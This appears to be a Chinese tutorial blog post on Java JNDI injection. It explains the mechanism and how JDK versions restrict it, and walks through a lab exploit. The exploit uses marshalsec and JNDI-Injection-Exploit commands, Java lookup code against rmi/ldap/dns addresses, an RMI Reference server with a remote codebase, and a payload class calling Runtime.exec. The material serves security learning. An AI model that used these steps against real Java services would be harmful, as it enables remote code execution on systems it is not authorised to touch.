当前位置: 首页 > ds >正文

第四十七天(jndi注入)

思考明白:

什么是jndi注入

JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 提供的一套用于访问命名服务(如 RMI、LDAP、DNS 等)的 API,允许程序通过名称查找和获取远程资源(如对象、服务等)。

JNDI 注入指的是攻击者通过控制 JNDI 接口的输入参数(如lookup()方法的查询名称),将其修改为指向攻击者控制的恶意服务(如恶意 RMI/LDAP 服务器),诱导目标程序在解析名称时加载并执行恶意代码的攻击方式。

为什么有jndi注入

JNDI 注入的根源是早期 Java 版本中 JNDI 设计的安全性缺陷,主要体现在对远程资源加载的 “过度信任”:

  1. 远程类加载机制:JNDI 支持通过 RMI(远程方法调用)、LDAP(轻量级目录访问协议)等协议查找远程对象。在查找过程中,JNDI 会自动从远程服务器下载对象对应的类字节码,并通过ClassLoader加载到本地 JVM 中执行。
  2. 输入可控性:如果目标程序中InitialContext.lookup(name)方法的name参数(即查找的名称)可被攻击者控制(如来自用户输入、未过滤的参数等),攻击者可将name修改为指向自己的恶意 RMI/LDAP 服务器地址(如ldap://attacker.com/evil)。
  3. 早期版本无限制:Java 8u121 之前的版本中,默认允许从远程 URL 加载类(通过com.sun.jndi.rmi.object.trustURLCodebase等参数控制,默认值为true),导致恶意类可被直接加载执行。

JDNI注入安全问题

JNDI 注入的核心危害是远程代码执行(RCE,具体表现为:

  1. 任意代码执行:攻击者可通过恶意类执行任意系统命令(如删除文件、窃取数据、植入后门等),完全控制目标服务器。
  2. 内网渗透跳板:若目标服务器位于内网,攻击者可通过 RCE 进一步攻击内网其他设备,扩大影响范围。
  3. 绕过防护机制:JNDI 注入可绕过部分应用层防火墙(WAF),因为其利用的是 Java 底层 API 的特性,而非传统的 Web 输入点。

JDNI注入利用条件

要成功利用 JNDI 注入,需同时满足以下条件:

1.目标程序使用了 JNDI API:目标代码中调用了InitialContext.lookup()等 JNDI 查询方法,且查询的名称(name参数)可控(如来自用户输入、未过滤的参数等)。

// 危险:name参数可控(如来自用户输入)
String name = request.getParameter("param"); // 攻击者可控制param的值
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // 触发JNDI查询,若name为恶意URL则加载恶意类

2.目标 Java 版本存在漏洞

  • 若目标使用Java 8u121 之前的版本:默认允许远程加载类(trustURLCodebase=true),可直接利用。
  • 若目标使用Java 8u121~Java 11:trustURLCodebase默认值为false,但可通过特殊构造的 RMI/LDAP 响应(如返回Reference对象指向本地已存在的恶意类)绕过部分限制。
  • 若目标使用Java 11+(包括 17、21 等):彻底移除了远程加载未知类的能力,JNDI 注入基本无法直接利用。

3.攻击者可控恶意服务:攻击者需搭建恶意的 RMI/LDAP 服务器,用于返回包含恶意类的响应(如Reference对象指向恶意类的 URL)。

4.网络可达性:目标服务器需能访问攻击者的恶意 RMI/LDAP 服务器(即网络连通,无防火墙拦截)。

参考:安全技术系列之JNDI注入_jndi注入原理-CSDN博客

#JNDI注入-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 (常用的就是dns,ldap,rmi)

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的类有:

org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的类有:

InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

lookup里面的值中的地址后面的是一个class文件的类名

 

#JNDI注入:

项目1:https://github.com/mbechler/marshalsec

1、编译调用对象

javac Test.java

先将要执行的操作写到一个java文件中,然后用编译器将它编译成class文件

点击终端,打开的是本地的,但是我这里输入不了命令,应该是哪里没设置好;之后点击comm这个一样可以用

直接来到java目录下输入javac 文件名.java 就好了, 提示什么api过时的不用管,过一会java下面就会多出一个class文件了

2、将生成的Class存放到和工具同级

 

在当前目录下创建个网站,让其有访问地址,模拟通过远程调用代码实现效果

访问一下,看是否正常

3、使用利用工具生成调用协议(rmi,ldap) (注意:协议要对应的上,不然执行不成功)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

目标程序若存在 JNDI 注入,当调用lookup("ldap://攻击者IP:1389/xxx")时,会从http://192.168.1.100:8080/Evil.class下载并执行Evil类。

需配合:在http://192.168.1.100:8080上放置编译好的恶意类

/#恶意类名:恶意类的 URL(#后的名称需与类名一致)

输入命令启动工具:

1389/ 后面的那个x 是可以写成任意的一个或多个字母

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

输入命令:

修改里面的协议和端口号

项目2:https://github.com/welk1n/JNDI-Injection-Exploit

命令: (后面的-A ......可以不写,

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

java代码:

import javax.naming.InitialContext;
import javax.naming.NamingException;
 
public class JndiDeomo {
    //本身源码中的jndi注入触发代码
    public static void main(String[] args) throws NamingException {
        InitialContext initialContext = new InitialContext();
         initialContext.lookup("rmi://192.168.25.1:1099/9umehn");
      //反射调用方法触发jndi代码1
        Class<?> aClass = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
        Object o = aClass.newInstance();
        aClass.getMethod("lookup", String.class).invoke(o, "dns://gjhlrcinwg.lfcx.eu.org");
         //反射调用方法触发jndi代码2
        Class<?> aClass1 = Class.forName("com.sun.rowset.JdbcRowSetImpl");
        Object o1 = aClass1.newInstance();
         aClass1.getMethod("setDataSourceName", String.class).invoke(o1, "rmi://192.168.25.1:1099/9umehn");
         aClass1.getMethod("connect").invoke(o1);
        
    }
 
}

输入命令后就会生成一些地址,将地址填进去,然后运行java文件就会弹出计算器

 切换不同的协议,也是同样可以出现相同的效果

用yakit 实现dns协议的

JNDI注入手工:

//bind:将名称绑定到对象中;

//lookup:通过名字检索执行的对象;

//Reference类表示对存在于命名/目录系统以外的对象的引用。

//Reference参数:

//className:远程加载时所使用的类名;

//classFactory:加载的class中需要实例化类的名称;

//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

1、Server注册监听

Registry registry = LocateRegistry.createRegistry(779);
 
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:999/");
 
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
 
registry.bind("RCE", wrapper);

2、Clinet连接触发

String uri = "rmi://127.0.0.1:779/RCE";
 
InitialContext initialContext = new InitialContext();
 
initialContext.lookup(uri);

3.攻击代码class文件

public class Test {
    public Test() throws IOException {
        Runtime.getRuntime().exec("notepad");
    }}

先将编译好的class文件放到一个目录下

在文件目录下启动一个网站

再运行监听端口的代码

最后启动访问的代码:

这里的端口后面的calc 要和监听端口上面的registry.bind()方法里面的要一样,不然不会执行

#JDK高版本注入绕过:

就是有一些高版本是执行不了jdni的,因为里面的一些值被修改了,导致无法成功注入

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过:

见后续Java安全篇

http://www.xdnf.cn/news/19254.html

相关文章:

  • 柳州市委常委、统战部部长,副市长潘展东率队首访深兰科技集团新总部,共探 AI 赋能制造大市与东盟合作新局
  • 前端vue框架实现反向代理详解
  • 响应式编程框架Reactor【3】
  • 【物联网】关于 GATT (Generic Attribute Profile)基本概念与三种操作(Read / Write / Notify)的理解
  • OpenAI Sora深度解析:AI视频生成技术如何重塑广告电商行业?影业合作已落地
  • WebGIS开发智慧校园(8)地图控件
  • 【实时Linux实战系列】实时自动化测试框架
  • [vmware][ubuntu]一个linux调用摄像头截图demo
  • 常见视频封装格式对比
  • LeetCode 317 离建筑物最近的距离
  • 科技赋能医疗:陪诊小程序系统开发,让就医不再孤单
  • mysql中表的约束
  • weblogic JBoss漏洞 Strcts2漏洞 fastjson漏洞
  • 计算机视觉第一课opencv(四)保姆级教学
  • solidity地址、智能合约、交易概念
  • 【完整源码+数据集+部署教程】高速公路施工区域物体检测系统源码和数据集:改进yolo11-RepNCSPELAN
  • FOC-双电阻采样-无刷-AC/DC(吹风筒项目)
  • 笔记本电脑频繁出现 vcomp140.dll丢失怎么办?结合移动设备特性,提供适配性强的修复方案
  • 函数的逆与原象
  • flutter-使用url_launcher打开链接/应用/短信/邮件和评分跳转等
  • LoraConfig target modules加入embed_tokens(64)
  • Java项目打包成EXE全攻略
  • Spring Boot 项目文件上传安全与优化:OSS、MinIO、Nginx 分片上传实战
  • 用 C++ 创建单向链表 forward list
  • “我店 + RWA”来袭:重构商业价值,解锁消费投资新密码
  • HarmonyOS权限管理应用
  • 【序列晋升】20 Spring Cloud Function 函数即服务(FaaS)
  • FPGA实现1553B BC控制器IP方案
  • LeetCode259~282题解
  • 吴恩达机器学习作业五:神经网络正向传播